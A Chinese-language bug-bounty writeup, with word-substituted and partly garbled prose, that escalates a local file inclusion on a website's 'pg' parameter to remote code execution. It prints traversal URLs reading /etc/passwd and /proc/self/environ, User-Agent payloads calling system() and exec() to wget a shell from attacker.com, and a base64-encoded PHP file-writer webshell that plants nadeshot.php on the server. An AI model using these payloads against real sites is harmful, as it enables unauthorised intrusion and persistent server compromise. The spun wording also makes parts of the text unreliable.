requestpayloadphp技巧_挖洞构造UserAgent请求头内容实现LFI到RCE提权

本文分享的Writeup是作者近期针对某20000+用户网站，通过对要求User-Agent内容布局，成功实现从本地文件包含漏洞（LFI）到远程代码实行漏洞（RCE）的提权。

以下为目标网站的Contact Us链接路径：

https://www.website.com/index.php?pg=contact.php

经由对pg参数的fuzz，我创造个中存在LFI漏洞，可以用../../../../etc/passwd直接读出系统密码信息：

https://www.website.com/index.php?pg=../../../../etc/passwd

要想把LFI提权到RCE, 我又创造另一个可读路径/proc/self/environ，于是我有了以下布局：

https://www.website.com/index.php?pg=../../../../proc/self/environ

很好，从其输出中可以看到，个中包含了如HTTP_USER_AGENT等一些环境变量参数：

不错，开启BurpSuite，用system()方法变动要求中的User-Agent值：

User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>

弗成，无效。
再试试exec()方法：

User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>

也是弗成，无效。
那用phpinit()试试：

User-Agent: <?php phpinfo(); ?>

折腾了一阵后，我差点忘了我是可以向目标网站做事器写东西的啊，于是我就又在User-Agent头中布局了以下Payload：

User-Agent: <?php $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm 9ybT0iZm 9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm 9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('nadeshot.php','w'); echo fwrite($file,$a); fclose($file); ?>阐明上述布局的Payload

上述布局利用的终极Payload是一个base64编码的webshell，原代码文件存在于Github库中-https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php，其大概造型为：

$a = base64_decode('webshell_base64_encoded_code_here');

然后我们向做事器中写入了一个名为nadeshot.php的文件：

$file = fopen('nadeshot.php','w');

然后做事器会把base64编码的上述文件写入nadeshot.php文件：

echo fwrite($file,$a);

再保存文件：

fclose($file);

上述要求Payload实行后的BurpSuite动作如下：

相应成功。
希望我们的Webshell可以成功，访问https://website.com/nadeshot.php试试看：

Webshell写入成功，保存为了nadeshot.php，太好了，我们再接着往里写入nadeshot.txt文件试试：

然后访问https://website.com/nadeshot.txt，一样有效：

就这样，成功实现了从LFI到RCE的提权。